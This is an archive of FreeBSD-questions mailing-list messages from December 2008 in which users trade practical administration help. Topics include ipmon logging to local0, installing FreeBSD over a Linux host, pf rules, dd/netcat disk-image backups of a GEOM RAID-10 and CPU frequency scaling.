Subject: Locked myself out.. AGAIN!! In-Reply-To: <20081207141737.GA15666@gizmo.acns.msu.edu> References: <20081207141737.GA15666@gizmo.acns.msu.edu> Message-ID: <493D218E.4010802@gmail.com> J > On Sun, Dec 07, 2008 at 11:04:00AM +0100, Redd Vinylene wrote: > > >> On this dedicated box here I made the mistake of adding a comment to >> root's entry in my password file: >> >> root:*:0:0::/root:/bin/sh # What I thought would be a harmless comment. >> >> Now I can't su to root. And my ISP is closed on Sundays. Is there any >> way I can fix this on my own? >> > does remote machine have ipmi? > > > >> > > From dweimer at orscheln.com Mon Dec 8 05:38:01 2008 From: dweimer at orscheln.com (Dean Weimer) Date: Mon Dec 8 05:38:08 2008 Subject: IPFilter section in Handbook needs updating References: <661217.76488.qm@web52202.mail.re2.yahoo.com> <493B3D77.6080404@a1poweruser.com> Message-ID: First, thanks for your work on writing the section in the handbook, its greatly appreciated. The updates about where ipmon logging to local0 looks good. Not sure whether or not you want to change the bumping the syslogd using the ps and kill commands as /etc/rc.d/syslogd reload does work, and would be easier for someone that is just learning how everything works. Thanks, ???? Dean Weimer ???? Network Administrator ???? Orscheln Management Co -----Original Message----- From: Fbsd1 [mailto:fbsd1@a1poweruser.com] Sent: Saturday, December 06, 2008 9:05 PM To: gwg7webbcom@yahoo.com Cc: freebsd-questions@freebsd.org; Dean Weimer Subject: Re: IPFilter section in Handbook needs updating G magicman wrote: > And incomplete yes i agree that the doc does need to be updated and examples (more) need to be added. > > --- On Fri, 12/5/08, Dean Weimer wrote: > From: Dean Weimer > Subject: IPFilter section in Handbook needs updating > To: freebsd-questions@freebsd.org > Date: Friday, December 5, 2008, 10:07 AM > > I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and noticed that > the ipmon and syslog information under the ipfilter section of the handbook is > incorrect. > > The section reads: > -----snip----- > 31.5.7 IPMON Logging > Syslogd uses its own special method for segregation of log data. It uses > special groupings called "facility" and "level". IPMON in > -Ds mode uses security as the "facility" name. All IPMON logged data > goes to security The following levels can be used to further segregate the > logged data if desired: > LOG_INFO - packets logged using the "log" keyword as the action > rather than pass or block. > LOG_NOTICE - packets logged which are also passed > LOG_WARNING - packets logged which are also blocked > LOG_ERR - packets which have been logged and which can be considered short > To setup IPFILTER to log all data to /var/log/ipfilter.log, you will need to > create the file. The following command will do that: > # touch /var/log/ipfilter.log > The syslog function is controlled by definition statements in the > /etc/syslog.conf file. The syslog.conf file offers considerable flexibility in > how syslog will deal with system messages issued by software applications like > IPF. > Add the following statement to /etc/syslog.conf: > security.* /var/log/ipfilter.log > The security.* means to write all the logged messages to the coded file > location. > To activate the changes to /etc/syslog.conf you can reboot or bump the syslog > task into re-reading /etc/syslog.conf by running /etc/rc.d/syslogd reload > Do not forget to change /etc/newsyslog.conf to rotate the new log you just > created above. > -----snip----- > > In trying to configure this I found that ipmon -Dsa doesn't log to > security, but logs to local0 instead. Reading the man page for ipmon does in > fact state this. However it also list the -L option as being able to change > this default behavior, I tried ipmon -DSa -L security, it excepts this, but > doesn't actually change the logging to use security. It still only outputs > to the syslog using local0, I also tried using ipmon -DSa -L local7 as well, > still outputs to local0. It was easy enough to modify my syslog.conf to output > the local0.* as well as security.* to the /var/log/security file. However it > would be greatly appreciated if someone that actually understands what's > going on here could get this info updated. It would have saved me some time, as > well as I am sure some other people in the future. Of course it's always > possible I am missing something simple here that is causing this discrepancy, > please do inform me if I did. It's probably worth mentioning that I am > starting ipmon using the rc.conf file with ipmon_enable="YES" and > ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script actually > changes the default behavior of ipmon in some way, though I didn't see > anything in it that should. And ps wwaux | grep ipmon does display the process > running with the flags exactly as stated on the ipmon_flags line of the > /etc/rc.conf file. > > Thanks, > Dean Weimer > Network Administrator > Orscheln Management Co > I wrote that whole firewall handbook section. How is the following for complete replacement of the 31.5.7 IPMON Logging section? 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses special groupings called 'facility' and 'level'. IPMON in -Ds mode uses local0 as the 'facility' name. All IPMON logged data goes to local0. You have to manually configure the /etc/syslog.conf file by adding the statements to direct the Local0 'facility' to the log file name recording the log records. FBSD keeps all of its syslog files in /var/log/ directory. First allocate the new named log file for the IPFMON logged data. touch /var/log/ipfilter.log # will allocate the file The syslog function is controlled by definition statements in the /etc/syslog.conf file. You will have to edit the /etc/syslog.conf file. Add the following statement to syslog.conf: local0.* /var/log/ipfilter.log The local0.* means to write all the logged messages to the coded file location. To activate the changes to /etc/syslog.conf you can reboot or bump the syslog task into re-reading /etc/syslog.conf by kill -HUP pid. You get the pid (IE: process number) by listing the tasks with the ps ax command. Find syslog in the display and the pid number is the number in the left column. Don't forget to change /etc/newsyslog.conf to rotate the new named IPFILTER log you just created above. From robin at reportlab.com Mon Dec 8 05:43:11 2008 From: robin at reportlab.com (Robin Becker) Date: Mon Dec 8 05:43:18 2008 Subject: install freebsd from inside another operating system Message-ID: <493D246C.80008@chamonix.reportlab.co.uk> I'm just wondering if it is possible to install FreeBSD from inside a bootstrap operating system such as a knoppix or ubuntu preinstall? Reason I'm asking is that my boss is asking about getting another commodity server using a provider that doesn't offer freebsd. We do get KVM over IP however, and I assume that really clever people might know how to handle this sort of thing if they have console access. -- Robin Becker From wojtek at wojtek.tensor.gdynia.pl Mon Dec 8 05:47:50 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 8 05:47:57 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: <20081208144513.O71518@wojtek.tensor.gdynia.pl> > > Reason I'm asking is that my boss is asking about getting another commodity > server using a provider that doesn't offer freebsd. We do get KVM over IP > however, and I assume that really clever people might know how to handle this > sort of thing if they have console access. stupid/strange solution: run qemu under linux giving FReeBSD iso as cdrom, and linux swap partition as disk (disable swap on linux temporarily), install it WITHOUT making slices and labels (manually) - minimum install, make sure whole "disk" (actually linux swap partition) is bootable, then exit qemu, run linux fdisk to set swap partition as bootable instead of linux root, reboot. you will get FreeBSD working, repartition everything else, optionally copy FreeBSD to partition that has to be /, reboot, ready From vince at unsane.co.uk Mon Dec 8 05:57:45 2008 From: vince at unsane.co.uk (Vincent Hoffman) Date: Mon Dec 8 05:57:52 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: <493D27D6.6000107@unsane.co.uk> Robin Becker wrote: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? > > Reason I'm asking is that my boss is asking about getting another > commodity server using a provider that doesn't offer freebsd. We do > get KVM over IP however, and I assume that really clever people might > know how to handle this sort of thing if they have console access. http://www.daemonology.net/depenguinator/ Shouldn't need console access but i've never tried it. From robin at reportlab.com Mon Dec 8 06:04:02 2008 From: robin at reportlab.com (Robin Becker) Date: Mon Dec 8 06:04:40 2008 Subject: install freebsd from inside another operating system In-Reply-To: <20081208144513.O71518@wojtek.tensor.gdynia.pl> References: <493D246C.80008@chamonix.reportlab.co.uk> <20081208144513.O71518@wojtek.tensor.gdynia.pl> Message-ID: <493D294F.7070300@chamonix.reportlab.co.uk> Wojciech Puchar wrote: >> >> Reason I'm asking is that my boss is asking about getting another >> commodity server using a provider that doesn't offer freebsd. We do >> get KVM over IP however, and I assume that really clever people might >> know how to handle this sort of thing if they have console access. > > stupid/strange solution: run qemu under linux giving FReeBSD iso as > cdrom, and linux swap partition as disk (disable swap on linux > temporarily), install it WITHOUT making slices and labels (manually) - > minimum install, make sure whole "disk" (actually linux swap partition) > is bootable, then exit qemu, run linux fdisk to set swap partition as > bootable instead of linux root, reboot. > > you will get FreeBSD working, repartition everything else, optionally > copy FreeBSD to partition that has to be /, reboot, ready > That almost sounds doable :) not sure my ubuntu/qemu skills are really there yet. Can you run qemu in a tty/console? -- Robin Becker From michal at hanu.la Mon Dec 8 06:04:07 2008 From: michal at hanu.la (Michal Hanula) Date: Mon Dec 8 06:04:41 2008 Subject: Messenger servers In-Reply-To: <1226111879.1220.9.camel@laptop1.herveybayaustralia.com.au> References: <1226111879.1220.9.camel@laptop1.herveybayaustralia.com.au> Message-ID: <20081208140403.GD52317@roo.7f000001.org> On Sat, Nov 08, 2008 at 12:37:58PM +1000, Da Rock wrote: > I haven't checked the list for around a week- I'm still catching up! :) > > I'm trying to sort out a messenger server for work purposes, and > although I've found a few I'm hoping some input from sysadmins who have > deployed these might help our decision. I've found Gale, Jabberd2, > OpenFire, and SJECS (Sun Java Communication Suite). > > Our requirements are for collaboration (multiple users simultaneous > chatting together- with audio/video if possible), realtime audio/video > (with a preference for audio; ergo video can go to the dogs to maintain > audio quality, although a means to adjust this- on the fly if possible- > would be useful), and chat. > > Tall order, eh? Ease of admin would be good, but my main concern is > stability and reliability (I'll make up a software solution to > administrate if needs be). Take a look at mingle (MUC + jingle) --- this should not depend on the xmpp server you use. As for that, I recommend ejabberd 2 (not yet in ports). [mf] -- Speak softly and carry a big lion -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/9b4d8d1d/attachment.pgp From wojtek at wojtek.tensor.gdynia.pl Mon Dec 8 06:07:14 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 8 06:07:21 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: <20081208150518.O71572@wojtek.tensor.gdynia.pl> another way - but requires more linux knowledge ( i don't have it) 1) change linux to load to ramdisk - enough of it for basic system 2) prepare your bootable hard disk image at home, same amount of sectors as target. 3) most of it will be empty, should be gzippable to <200MB (or even 100) 4) fetch in into ramdisk of running linux 5) decompres with zcat to disk. 6) reboot. On Mon, 8 Dec 2008, Robin Becker wrote: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? > > Reason I'm asking is that my boss is asking about getting another commodity > server using a provider that doesn't offer freebsd. We do get KVM over IP > however, and I assume that really clever people might know how to handle this > sort of thing if they have console access. > -- > Robin Becker > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > From estartu at ze.tum.de Mon Dec 8 06:17:37 2008 From: estartu at ze.tum.de (Gerhard Schmidt) Date: Mon Dec 8 06:17:46 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: <493D2C7C.80806@ze.tum.de> Robin Becker schrieb: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? > > Reason I'm asking is that my boss is asking about getting another > commodity server using a provider that doesn't offer freebsd. We do get > KVM over IP however, and I assume that really clever people might know > how to handle this sort of thing if they have console access. Only KVM or do you have access to a Remote console (IPMI). You can try to boot FreeBSD from a Network but than you need access to the Network from a running server to setup a TFTP and BOOTP Server. Much more easy would it be just to let the Computer Center guys insert a FreeBSD CD into the CD Drive. Thats how I install FreeBSD in remote Computer Centers. It Might work I you generate a Harddiskimage and use your Bootstrap OS to get it from net and write it to the Harddisk at the server. I never done this but theoretically it should work. As I said, the best way to du the install is to have a CD inserted and after install simply change the bootsequence in BIOS. Regards Estartu -- ------------------------------------------------- Gerhard Schmidt | E-Mail: schmidt@ze.tum.de TU-M?nchen | WWW & Online Services | Tel: 089/289-25270 | Fax: 089/289-25257 | PGP-Publickey auf Anfrage -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 542 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/4f4b20fc/signature.pgp From estartu at ze.tum.de Mon Dec 8 06:20:12 2008 From: estartu at ze.tum.de (Gerhard Schmidt) Date: Mon Dec 8 06:20:20 2008 Subject: MTP Bases =?iso-8859-15?q?MP=A7-Player_and_FreeBSD_HowTO?= Message-ID: <493D2810.8020006@ze.tum.de> Hi, i've got a SanDisk Sansa e280 MP3 Player. When I connect it to FreeBSD I see the 8G of the Player as an umass. But how do i get the MTP Part of the Player working. I tried to use amarok and mtpfs but the mp3 Player isn't found. Is there a way to get the MTP Part of the Player working under FreeBSD. Bye Estartu -- ------------------------------------------------- Gerhard Schmidt | E-Mail: schmidt@ze.tum.de TU-M?nchen | WWW & Online Services | Tel: 089/289-25270 | Fax: 089/289-25257 | PGP-Publickey auf Anfrage -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 542 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/ca32d44a/signature.pgp From derek at computinginnovations.com Mon Dec 8 06:40:11 2008 From: derek at computinginnovations.com (Derek Ragona) Date: Mon Dec 8 06:40:18 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D2C7C.80806@ze.tum.de> References: <493D246C.80008@chamonix.reportlab.co.uk> <493D2C7C.80806@ze.tum.de> Message-ID: <6.0.0.22.2.20081208083827.027d5d90@mail.computinginnovations.com> At 08:17 AM 12/8/2008, Gerhard Schmidt wrote: >Robin Becker schrieb: > > I'm just wondering if it is possible to install FreeBSD from inside a > > bootstrap operating system such as a knoppix or ubuntu preinstall? > > > > Reason I'm asking is that my boss is asking about getting another > > commodity server using a provider that doesn't offer freebsd. We do get > > KVM over IP however, and I assume that really clever people might know > > how to handle this sort of thing if they have console access. > >Only KVM or do you have access to a Remote console (IPMI). > >You can try to boot FreeBSD from a Network but than you need access to the >Network from a running server to setup a TFTP and BOOTP Server. Much more >easy would it be just to let the Computer Center guys insert a FreeBSD CD >into the CD Drive. Thats how I install FreeBSD in remote Computer Centers. > >It Might work I you generate a Harddiskimage and use your Bootstrap OS to >get it from net and write it to the Harddisk at the server. I never done >this but theoretically it should work. > >As I said, the best way to du the install is to have a CD inserted and >after install simply change the bootsequence in BIOS. > >Regards > Estartu > > >-- Another option is install FreeBSD under VMWare ESX server. The ESX server is now free. Loading FreeBSD is straightforward using the ISO cdrom. -Derek -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From fbsd.questions at rachie.is-a-geek.net Mon Dec 8 07:34:09 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 8 07:34:15 2008 Subject: IPFW Firewall Question In-Reply-To: <198267.54082.qm@web52209.mail.re2.yahoo.com> References: <198267.54082.qm@web52209.mail.re2.yahoo.com> Message-ID: <200812081634.01296.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 20:29:40 G magicman wrote: > I have tried this it did not work and the Co-Lo people are convinced that > sshd and sendmail need to be run out of inetd.conf for this to work. That wouldn't explain sshd being linked against libwrap. Did you comment: # The rules here work on a "First match wins" basis. ALL : ALL : allow > As i said i am used to BSDI? and the Finnish SSHD Hehe, I remember having libwrap as backup, cause the firewall's pre-in/pre-out/in/out concepts were confusing at times. Anyway, I'll give you a pf example, maybe someone with ipfw skills will pick it up and translate, or you can kldload pf and use that ;) =============== openports="{ 11, 21, 22, 23, 25, 37, 42, 43, 53, 63, 69, 70, 80, 101, 109, 110, 115, 119, 123, 143, 443, 4321, 50001 }" table persist { 209.131.0.0/16, 66.65.0.0/16, 71.173.96.0/19, \ 71.173.128.0/17, blabla } table persist file "/etc/pf/spammers.table" ext_if="bge0" # External interface # Rules, last match wins block in all pass in from to any pass in on $ext_if proto {tcp, udp} from any to ($ext_if) port $openports block in on $ext_if from to any port 25 ============== The file /etc/pf/spammers.table can then be filled with one CIDR per line, easy to maintain/fail and possible to have the file maintained by grok or alike automation scripts. The file is only read on start up, but the table can be maintained 'live', using pfctl -T commands. Hope this helps. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From doug at polands.org Mon Dec 8 07:49:08 2008 From: doug at polands.org (Doug Poland) Date: Mon Dec 8 07:49:15 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: References: <493AFD81.6020705@polands.org> Message-ID: <20081208153348.GA57784@polands.org> On Mon, Dec 08, 2008 at 10:29:36AM +0100, Ivan Voras wrote: > Doug Poland wrote: > > Hello, > > > > I've got a 7.1-PRERELEASE i386 box with 4 SATA drives configured in > > a RAID-10 using gmirror, gstripe, and gjournal. Normally, I use > > dump and rsync for periodic backups on this machine, but I suspect > > that the gmirror/gstripe/gjournal information is not being backed > > up. > > > > If my assumption is correct, how can I perform a "one-time" backup > > such that I could do a bare-metal restore? The essence of the > > question being I want to preserve not only the data, but also the > > gmirror/gstripe/gjournal meta-data as well. > > > > The only thought that comes to mind is to boot with a 7.1 live > > filesystem CD-ROM and "dd" each drive, piping the results to my > > backup machine. e.g., > > > > host# dd if=/dev/ad4 bs=2m | gzip | nc backuphost 12345 > > host# dd if=/dev/ad6 bs=2m | gzip | nc backuphost 12346 > > host# dd if=/dev/ad10 bs=2m | gzip | nc backuphost 12347 > > host# dd if=/dev/ad12 bs=2m | gzip | nc backuphost 12348 > > > > Any thoughts, suggestions, caveats? > > I hope you understand the problems with this kind of backup > procedures. > Actually, I don't, that's why I'm posting :) My intent is to have a backup that can be used to completely restore the machine, including all the GEOM metadata. My suggestion of using dd is the only thing I could come up with so far. So I'm asking, is there a better way? > Assuming that ad4,6,10,12 are the drives from which you created your > RAID-10, everything is "backed up", including GEOM metadata. > Yes, those are the names of my drives. Thank you for your time, -- Regards, Doug From glavoie at gmail.com Mon Dec 8 07:57:24 2008 From: glavoie at gmail.com (Gabriel Lavoie) Date: Mon Dec 8 07:57:30 2008 Subject: freebsd-updates problem Message-ID: Hello, since the update to 7.0-RELEASE-p6 is available, I have some problems with freebsd-updates. It tells me that /boot/kernel/linker.hints needs to be updated and if I install the update, it will tell me again and again that it needs to be updated. [root@headless /usr/local/www/apache22/data]# freebsd-update fetch Looking up update.FreeBSD.org mirrors... 1 mirrors found. Fetching metadata signature for 7.0-RELEASE from update1.FreeBSD.org... done. Fetching metadata index... done. Inspecting system... done. Preparing to download files... done. The following files will be updated as part of updating to 7.0-RELEASE-p6: /boot/kernel/linker.hints [root@headless /usr/local/www/apache22/data]# uname -a FreeBSD headless.mutehq.net 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 10:59:10 UTC 2008 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 Any idea of what might be going on? Thanks! Gabriel -- Gabriel Lavoie glavoie@gmail.com From ivoras at freebsd.org Mon Dec 8 08:22:07 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 8 08:22:14 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <20081208153348.GA57784@polands.org> References: <493AFD81.6020705@polands.org> <20081208153348.GA57784@polands.org> Message-ID: <9bbcef730812080822q495da820h1fdd28c9ab2c96d7@mail.gmail.com> 2008/12/8 Doug Poland : > On Mon, Dec 08, 2008 at 10:29:36AM +0100, Ivan Voras wrote: >> I hope you understand the problems with this kind of backup >> procedures. >> > Actually, I don't, that's why I'm posting :) My intent is to have a Here are a couple of things: a) How do you intend to restore the images? You need drives with >= size of the original drives (and images). If you have larger drives, the extra space might be wasted. b) With this method you cannot use (or actually, you can but it's very hard) any kind of differential/incremental backup, and in addition to the used space you're also backuping the unused/"empty" space. c) dd as you've used it will skip bad sectors, in a bad way - it will either stop (according to the documentation) or concatenate data blocks around the ones containing the bad sector (e.g. if a sector in the tenth block of 2 MB is bad, your file will contain blocks ...8,9,11,12,...). See conv=noerror,sync options to dd. From freebsd-questions-local at be-well.ilk.org Mon Dec 8 08:37:05 2008 From: freebsd-questions-local at be-well.ilk.org (Lowell Gilbert) Date: Mon Dec 8 08:37:13 2008 Subject: mount_smbfs and Kerberos In-Reply-To: <018e01c955b1$4f532070$edf96150$@com> (Ansar Mohammed's message of "Wed\, 3 Dec 2008 20\:40\:37 -0500") References: <018e01c955b1$4f532070$edf96150$@com> Message-ID: <44wseabp3m.fsf@be-well.ilk.org> "Ansar Mohammed" writes: > mount_smbfs on OSX seems to have Kerberos support, does mount_smbfs on > FreeBSD support Kerberos? No, but if it's in Darwin, it shouldn't be that hard to port (although some parts of CIFS seem to be trailing quite a bit). To be honest, I don't see anything about Kerberos in the man pages I have available for Darwin. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From freebsd-questions-local at be-well.ilk.org Mon Dec 8 08:39:21 2008 From: freebsd-questions-local at be-well.ilk.org (Lowell Gilbert) Date: Mon Dec 8 08:39:29 2008 Subject: Disappearing mount point In-Reply-To: <20081206131320.4BE834E625@cork.irdesign.cypress.com> (lhecking@users.sourceforge.net's message of "Sat\, 6 Dec 2008 13\:13\:20 +0000 \(GMT\)") References: <20081206131320.4BE834E625@cork.irdesign.cypress.com> Message-ID: <44skoybozt.fsf@be-well.ilk.org> lhecking@users.sourceforge.net writes: > I have a really weird problem. After changing the mount point of a Linux > ext3 fs to a different device, the mount point disappears after mounting > and is inaccessible. > > Disk layout: > ad4s1 Linux ext3 > ad4s2 FreeBSD > ad4s3 Linux ext3 > ad4s4 ext > ad4s5 Linux swap > ad4s6 Linux ext3 > ad4s7 Linux ext3 > ad4s8 Linux ext3 > > Mounting ad4s7 under FreeBSD as > > /dev/ad4s7 /gentoo-portage ext2fs rw 0 0 > > Then I moved this data to ad4s8 and changed the fstab entry accordingly: > > /dev/ad4s8 /gentoo-portage ext2fs rw 0 0 > > And this happens: > > [root@jeanie ~]# cd / > [root@jeanie /]# ls > .cshrc cdrom etc mnt tmp > .profile compat gentoo-portage proc usr > .snap dev home rescue var > COPYRIGHT dist lib root > bin distfiles libexec sbin > boot entropy media sys > [root@jeanie /]# mount /gentoo-portage > [root@jeanie /]# df > Filesystem 1K-blocks Used Avail Capacity Mounted on > /dev/ad4s2a 1012974 345748 586190 37% / > devfs 1 1 0 100% /dev > /dev/ad4s2f 1010964 22324 907764 2% /home > /dev/ad4s2d 4058062 38 3733380 0% /tmp > /dev/ad4s2e 20308398 6763976 11919752 36% /usr > procfs 4 4 0 100% /proc > linprocfs 4 4 0 100% /usr/compat/linux/proc > /dev/ad4s8 9929540 4505212 4923908 48% /gentoo-portage > [root@jeanie /]# ls > ls: gentoo-portage: Bad file descriptor > .cshrc bin dev etc media root usr > .profile boot dist home mnt sbin var > .snap cdrom distfiles lib proc sys z > COPYRIGHT compat entropy libexec rescue tmp > [root@jeanie /]# uname -a > FreeBSD jeanie.my.domain 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #8: Mon Sep 1 09:14:51 IST 2008 root@jeanie.my.domain:/usr/obj/usr/src/sys/JEANIE i386 > > I changed the filesystem on /dev/ad4s8 to ext2, but the problem persists. > No idea what's going on :-/ Did you try an fsck on ad4s8? -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From doug at polands.org Mon Dec 8 08:50:35 2008 From: doug at polands.org (Doug Poland) Date: Mon Dec 8 08:50:41 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <9bbcef730812080822q495da820h1fdd28c9ab2c96d7@mail.gmail.com> References: <493AFD81.6020705@polands.org> <20081208153348.GA57784@polands.org> <9bbcef730812080822q495da820h1fdd28c9ab2c96d7@mail.gmail.com> Message-ID: <20081208165032.GA99675@polands.org> On Mon, Dec 08, 2008 at 05:22:05PM +0100, Ivan Voras wrote: > 2008/12/8 Doug Poland : > > On Mon, Dec 08, 2008 at 10:29:36AM +0100, Ivan Voras wrote: > > >> I hope you understand the problems with this kind of backup > >> procedures. > >> > > Actually, I don't, that's why I'm posting :) My intent is to have a > > Here are a couple of things: > I'd like to reiterate a statement I made in my OP, this is a "one-time" backup to preserve GEOM metadata. After this, I will use dump and rsync as I ordinarily do. > a) How do you intend to restore the images? > Booting from a live CD and reversing the dd netcat commands. Something like: livecd# nc -l 1234 | dd of=/dev/ad4 backup# gzip -dc /data/backup/ad4.img | nc livecd 1234 > You need drives with >= size of the original drives (and images). If > you have larger drives, the extra space might be wasted. > Understood > b) With this method you cannot use (or actually, you can but it's very > hard) any kind of differential/incremental backup, and in addition to > the used space you're also backuping the unused/"empty" space. > My intent would be to use the dd images to restore the disk partitions and GEOM metadata, then I would use restore to get the latest data. > c) dd as you've used it will skip bad sectors, in a bad way - it will > either stop (according to the documentation) or concatenate data > blocks around the ones containing the bad sector (e.g. if a sector in > the tenth block of 2 MB is bad, your file will contain blocks > ...8,9,11,12,...). See conv=noerror,sync options to dd. > Thank you for bringing that out. I have seen references to those dd options while googling this topic. Will using conv=noerror,sync preserve the disk in a viable state? Fundamentally, is there a better way to accomplish what I'm trying to do? Basically a bare-metal backup/restore of a 4-disk RAID-10 built using gmirror/gstripe with gjournal on top. If my dd solution is too problematic, I'll do something else. Your comments and suggestions are very welcome... -- Regards, Doug From rjgonzale at gmail.com Mon Dec 8 08:54:51 2008 From: rjgonzale at gmail.com (Rodrigo Gonzalez) Date: Mon Dec 8 08:55:02 2008 Subject: freebsd-updates problem In-Reply-To: References: Message-ID: <493D4821.60209@gmail.com> Gabriel Lavoie wrote: > Hello, > since the update to 7.0-RELEASE-p6 is available, I have some problems > with freebsd-updates. It tells me that /boot/kernel/linker.hints needs to be > updated and if I install the update, it will tell me again and again that it > needs to be updated. > > [root@headless /usr/local/www/apache22/data]# freebsd-update fetch > Looking up update.FreeBSD.org mirrors... 1 mirrors found. > Fetching metadata signature for 7.0-RELEASE from update1.FreeBSD.org... > done. > Fetching metadata index... done. > Inspecting system... done. > Preparing to download files... done. > > The following files will be updated as part of updating to 7.0-RELEASE-p6: > /boot/kernel/linker.hints > > [root@headless /usr/local/www/apache22/data]# uname -a > FreeBSD headless.mutehq.net 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #0: Mon > Nov 24 10:59:10 UTC 2008 > root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC > amd64 > > Any idea of what might be going on? > > Thanks! > > Gabriel > > Maybe freebsd-update install From me at janh.de Mon Dec 8 09:04:46 2008 From: me at janh.de (Jan Henrik Sylvester) Date: Mon Dec 8 09:04:54 2008 Subject: install freebsd from inside another operating system References: 493D246C.80008@chamonix.reportlab.co.uk Message-ID: <493D53A9.3000106@janh.de> Robin wrote: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? http://www.daemonology.net/blog/2008-01-29-depenguinator-2.0.html Cheers, Jan Henrik From lhecking at users.sourceforge.net Mon Dec 8 09:07:48 2008 From: lhecking at users.sourceforge.net (Lars Hecking) Date: Mon Dec 8 09:07:55 2008 Subject: Disappearing mount point In-Reply-To: <44skoybozt.fsf@be-well.ilk.org> References: <20081206131320.4BE834E625@cork.irdesign.cypress.com> <44skoybozt.fsf@be-well.ilk.org> Message-ID: <20081208170740.9B31D4E625@cork.irdesign.cypress.com> Lowell Gilbert writes: > lhecking@users.sourceforge.net writes: > > > I have a really weird problem. After changing the mount point of a Linux > > ext3 fs to a different device, the mount point disappears after mounting > > and is inaccessible. [...] > Did you try an fsck on ad4s8? I figured out the problem in the meantime. Not only did I change the device, but also rebuild the fs on, and this thread provided me with the solution: http://forums.freebsd.org/showthread.php?s=eecb9ad9ab9a673778a998ffeef1143f&t=471 I.e. the default inode size in e2fsprogs changed to 256, so rebuilding the fs with an inode size of 128 fixed it. From robin at reportlab.com Mon Dec 8 10:06:20 2008 From: robin at reportlab.com (Robin Becker) Date: Mon Dec 8 10:06:27 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D53A9.3000106@janh.de> References: 493D246C.80008@chamonix.reportlab.co.uk <493D53A9.3000106@janh.de> Message-ID: <493D621A.4020804@chamonix.reportlab.co.uk> Jan Henrik Sylvester wrote: > Robin wrote: > > I'm just wondering if it is possible to install FreeBSD from inside a > > bootstrap operating system such as a knoppix or ubuntu preinstall? > > http://www.daemonology.net/blog/2008-01-29-depenguinator-2.0.html >....... I've just finished building an image using it. Bit of a struggle as I had to patch one of the files and my lack of understanding of the chattr command in ubuntu caused me no end of problems. Basically when you run the build again after the first failure you need to clean up properly using chattr -R -i before you can even remove one of the folders. -- Robin Becker From glavoie at gmail.com Mon Dec 8 10:37:09 2008 From: glavoie at gmail.com (Gabriel Lavoie) Date: Mon Dec 8 10:37:16 2008 Subject: Intel Pentium Dual Core E5200 and Enhanced Speedstep Message-ID: Hello, I have a small problem/question about my Pentium Dual Core E5200. I have this system running as a server since 1 month and I just noticed that the CPU frequency may not be running at the highest speed. With my other computer that has a Core 2 Duo, I noticed that under Windows and Linux, the CPU frequency steps down at 2 GHz when the CPU is idle and increases at 2.66 GHz when the CPU is under load. With this FreeBSD Pentium Dual Core, I just noticed using sysctl that the frequency after booting the system is at 1.25 GHz and it doesn't go up automatically at 2.5 GHz under load. dev.cpu.0.freq: 1254 dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 627/-1 313/-1 If I do "sysctl dev.cpu.0.freq=2508", the frequency gets changed: [root@headless /home/wildchild]# sysctl dev.cpu.0.freq=2508 dev.cpu.0.freq: 1254 -> 2508 [root@headless /home/wildchild]# sysctl -a | grep cpu.0.freq dev.cpu.0.freq: 2508 dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 627/-1 313/-1 Why isn't the frequency isn't increased automatically under load? And why is it at 1.254 GHz after boot and not at the maximum frequency? 